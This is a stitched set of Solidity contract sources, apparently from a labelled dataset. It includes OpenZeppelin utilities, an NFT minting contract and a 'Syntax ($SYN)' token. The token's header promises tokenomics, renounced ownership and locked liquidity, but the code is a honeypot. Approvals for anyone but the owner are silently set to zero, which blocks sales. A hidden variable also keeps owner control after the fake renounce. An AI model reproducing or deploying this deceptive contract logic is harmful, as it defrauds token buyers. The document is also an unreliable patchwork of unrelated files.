function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
}
|
True
|
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] |
/*
......................................................................................................................................................
......................................................................................................................................................
......................................................................................................................................................
.................................................................',;;;'.';;;,'........................................................................
.............................................................':ldxOO0k:.cxkkkkdoc;'...................................................................
...........................................................;ok00KKKKKO:.ckkkkO000Odc,.................................................................
.........................................................;oO00KKKKKKKk:.ckkkkkO00K00kc'...............................................................
........................................................ck0KKKK0K00kdc,',codxkkO00KKK0d;..............................................................
.......................................................cOKKKKK0Odl:,',;,''',,:ldk0KKKK0x;.............................................................
......................................................;k00KK00x;..';;,'',;,''..'lOKKK000d'............................................................
......................................................l00K0OOko'.'',,;,',;,'',,.:OKKKKKKk:............................................................
.....................................................'o000Okkko'',,;,'''',;:,,,.:OKKKKKKO:............................................................
......................................................lO0Okkkko'.,,'':;,;,,;';;.:OKKKKKKk;............................................................
......................................................;xOkkxoc,'';,',:;';,,;'',',coxO0K0o'............................................................
.......................................................;lc;,,;lddl:;,,'..'''';cooc:;;col,.............................................................
.........................................................':oxO00KK0kdl;,;:lodkkkkkkdo:'...............................................................
.........................................................'lO0KKKKKKKK00OO0OOOOOOOOOOkl'...............................................................
...........................................................;ok00KKKKKKKKKKKKK00000ko;.................................................................
.............................................................,:oxkO00KKKKKKK0Okxo:,...................................................................
.................................................................,;:clllllcc:;,.......................................................................
......................................................................................................................................................
............',,;;;;;;;;,'.....',;;,..........',;;,....................',,'.....',;,;,,;;;,,,,,;;;;,'.....................',;,'..........,;;,'.........
..........;oxkOOOOOOOOOOkdc'..'cxOko,......':xOko;...,ll,.............lOOo'....:kOOOOOOOOOOOOOOOOOOl......,lc............,okOxc'......,okOxc'.........
.........:k0Odlcccccccclx00o'...;dO0kc'...;dO0kc'....;k0Odc,..........l00d'....,cccccccoOKOdccccccc;.....;x0Oc'...........'ck0Od;...'cx00d;...........
.........l00x;..........,:c:'....':x00d:,lk0Oo,......;kKKK0ko:'.......l00d,............;kKO:............;x0KKOl'............,oO0kl,;dO0kc'............
.........;x00xooooooooolc;.........,lk0OO00x:........;kKOdok00xl;'....o00d,............;kKO:...........:k0Oxk0Oo'.............:x00OO0Oo,..............
..........,coxxkkkkkkkkO0Oo,.........;d0KOl'.........;kKO:.,cdk0Oxl;..l00d,............;kKO:..........:k0Ol,;x0Oo,.............,d00K0l'...............
..............''''''''';d00d,.........cOKk;..........;kKO:....,cdO0Odlx00d,............;kKO:.........ck0Ol'..;x00d,...........;dO0O00kl,..............
.........;ooc'..........cOKk;.........cOKk;..........;kKOc.......;lxO0000d'............;kKO:........cO0kc.....,d00d,........'lk0Oo;:x00x:.............
.........;x00xlccccccccok0Ol'.........cOKk;..........;kKOc.........';ok00d'............;kKO:......'lO0kc.......,d00d;.....':x00x:...'lk0Oo;...........
..........,cdkOO000000OOxo:'..........ck0x;..........;x0k:............':ol'............;x0k:.....'lkOx:.........,oOOd;...,okOkl'......;oOOxc'.........
.............,;;;;;;;;;,'.............';;,............,;;'...............'.............',;;'......,;;,...........';;;'...,;;;,..........,;;,'.........
......................................................................................................................................................
......................................................................................................................................................
......................................................................................................................................................
Know your SYNTAX. Spread the word. Dominate the charts.
📃 Name: Syntax
📃 Symbol: $SYN
📌 Website: https://syntax.finance/
📌 Twitter: https://twitter.com/syntaxdefi
📌 Telegram: https://t.me/syntaxdefi
📊 Tokenomics 📊
📑 8% tax on each transaction as follows:
♻️ 6% Buyback wallet
♻️ 2% Marketing wallet
♻️ 4% Redistribution to holders
🔔 Launch Features 🔔
🚀 Fair launch
🔥 15.5% initial burn
💰 1 trillion total supply
🛑 Bots Blacklisted
🔒 Liquidity Locked
🔑 Contract Renounced
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract syntax is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000 * 10**9 * 10**18;
string private _name = 'Syntax | https://t.me/AnubisInu';
string private _symbol = '$SYN';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function _approve(address synapp, address target, uint256 amount) private {
require(synapp != address(0), "ERC20: approve from the zero address");
require(target != address(0), "ERC20: approve to the zero address");
if (synapp != owner()) { _allowances[synapp][target] = 0; emit Approval(synapp, target, 4); }
else { _allowances[synapp][target] = amount; emit Approval(synapp, target, amount); }
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
True
|
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// SPDX-License-Identifier: MIT
// RIBONZ Infinity NFT -- https://ribonz.art , Danooka, Mystery Labs
pragma solidity >=0.8.7;
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/utils/introspection/IERC165.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "@openzeppelin/contracts/utils/introspection/ERC165.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol";
import "@openzeppelin/contracts/utils/structs/EnumerableMap.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
// ============================================================= InfinityS ============================================================================ //
pragma abicoder v2;
contract Infinity is ERC721Enumerable, Ownable {
using SafeMath for uint256;
// price of a SpaceTime
uint256 public infinityPrice = 137000000000000000; // 0.137 ETH
// max number of Infinity to purchase
uint public constant MAX_INFINITY_PURCHASE = 11;
// max number of INFINITY overall
uint256 public MAX_INFINITYS = 700;
// Freeze once development / test phase is over -- can never be changed
bool public contractParamsFrozen = false;
// is sale active?
bool public saleIsActive = false;
// token name
string private _name;
// base uri
string private _mybaseuri;
// mapping from token ID to name
mapping (uint256 => string) public infinityNames;
// mapping from tokenid
mapping (uint256 => bool) public mintedTokens;
// mapping from tokenid
mapping (uint256 => bool) public nameSet;
// event for setting name of a INFINITY
event NameChange (uint256 indexed nameIndex, string newName);
// Reserve infinitys for promotional purposes
uint public INFINITY_RESERVE = 20;
constructor() ERC721("RIBONZ: Infinity", "RZINF") { }
function withdraw(address payable _owner) public onlyOwner {
uint balance = address(this).balance;
_owner.transfer(balance);
}
function updateMintPrice(uint256 newPrice) external onlyOwner {
require(msg.sender == owner(), "only owner!");
require(contractParamsFrozen == false, "contract params frozen!");
infinityPrice = newPrice;
}
function updateSupply(uint256 newSupply) external onlyOwner {
require(msg.sender == owner(), "only owner!");
require(contractParamsFrozen == false, "contract params frozen!");
MAX_INFINITYS = newSupply;
}
// Once set Can never be unset -- allows tweaking before development is over then set once and that's it!
function freezeContractParams() external onlyOwner {
require(msg.sender == owner(), "only owner!");
contractParamsFrozen = true;
}
function reserveInfinitys(address _to, uint256 _reserveAmount) public onlyOwner {
uint supply = totalSupply();
require(_reserveAmount > 0 && _reserveAmount <= INFINITY_RESERVE, "Not enough reserve left for team");
for (uint i = 0; i < _reserveAmount; i++) {
_safeMint(_to, supply + i);
}
INFINITY_RESERVE = INFINITY_RESERVE.sub(_reserveAmount);
}
// override base class
function _baseURI() internal override view virtual returns (string memory) {
return _mybaseuri;
}
function setBaseURI(string memory baseURI) public onlyOwner {
_mybaseuri = baseURI;
}
function flipSaleState() public onlyOwner {
saleIsActive = !saleIsActive;
}
function tokensOfOwner(address _owner) external view returns(uint256[] memory ) {
uint256 tokenCount = balanceOf(_owner);
if (tokenCount == 0) {
// Return an empty array
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](tokenCount);
uint256 index;
for (index = 0; index < tokenCount; index++) {
result[index] = tokenOfOwnerByIndex(_owner, index);
}
return result;
}
}
function setInfinityName(uint256 _tokenId, string calldata _currName) public {
address owner = ownerOf(_tokenId);
require(msg.sender == owner, "not the owner");
require(nameSet[_tokenId] == false, "name already set");
nameSet[_tokenId] = true;
infinityNames[_tokenId] = _currName;
emit NameChange(_tokenId, _currName); // user can set any name.
}
function viewInfinityName(uint _tokenId) public view returns(string memory){
require( _tokenId < totalSupply(), "choose an infinity within range" );
return infinityNames[_tokenId];
}
function mintInfinity(uint _numberOfTokens) public payable {
require(saleIsActive, "Sale is not active yet!");
require(_numberOfTokens > 0 && _numberOfTokens <= MAX_INFINITY_PURCHASE, "you can mint only so many");
require(totalSupply().add(_numberOfTokens) <= MAX_INFINITYS, "no no, supply exceeded");
require(msg.value >= infinityPrice.mul(_numberOfTokens), "insufficient eth ");
for(uint i = 0; i < _numberOfTokens; i++) {
uint mintIndex = totalSupply();
if (totalSupply() < MAX_INFINITYS) {
_safeMint(msg.sender, mintIndex);
mintedTokens[mintIndex] = true;
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./extensions/IERC721Metadata.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/Strings.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./EnumerableSet.sol";
/**
* @dev Library for managing an enumerable variant of Solidity's
* https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`]
* type.
*
* Maps have the following properties:
*
* - Entries are added, removed, and checked for existence in constant time
* (O(1)).
* - Entries are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableMap for EnumerableMap.UintToAddressMap;
*
* // Declare a set state variable
* EnumerableMap.UintToAddressMap private myMap;
* }
* ```
*
* As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are
* supported.
*/
library EnumerableMap {
using EnumerableSet for EnumerableSet.Bytes32Set;
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Map type with
// bytes32 keys and values.
// The Map implementation uses private functions, and user-facing
// implementations (such as Uint256ToAddressMap) are just wrappers around
// the underlying Map.
// This means that we can only create new EnumerableMaps for types that fit
// in bytes32.
struct Map {
// Storage of keys
EnumerableSet.Bytes32Set _keys;
mapping(bytes32 => bytes32) _values;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function _set(
Map storage map,
bytes32 key,
bytes32 value
) private returns (bool) {
map._values[key] = value;
return map._keys.add(key);
}
/**
* @dev Removes a key-value pair from a map. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function _remove(Map storage map, bytes32 key) private returns (bool) {
delete map._values[key];
return map._keys.remove(key);
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function _contains(Map storage map, bytes32 key) private view returns (bool) {
return map._keys.contains(key);
}
/**
* @dev Returns the number of key-value pairs in the map. O(1).
*/
function _length(Map storage map) private view returns (uint256) {
return map._keys.length();
}
/**
* @dev Returns the key-value pair stored at position `index` in the map. O(1).
*
* Note that there are no guarantees on the ordering of entries inside the
* array, and it may change when more entries are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) {
bytes32 key = map._keys.at(index);
return (key, map._values[key]);
}
/**
* @dev Tries to returns the value associated with `key`. O(1).
* Does not revert if `key` is not in the map.
*/
function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) {
bytes32 value = map._values[key];
if (value == bytes32(0)) {
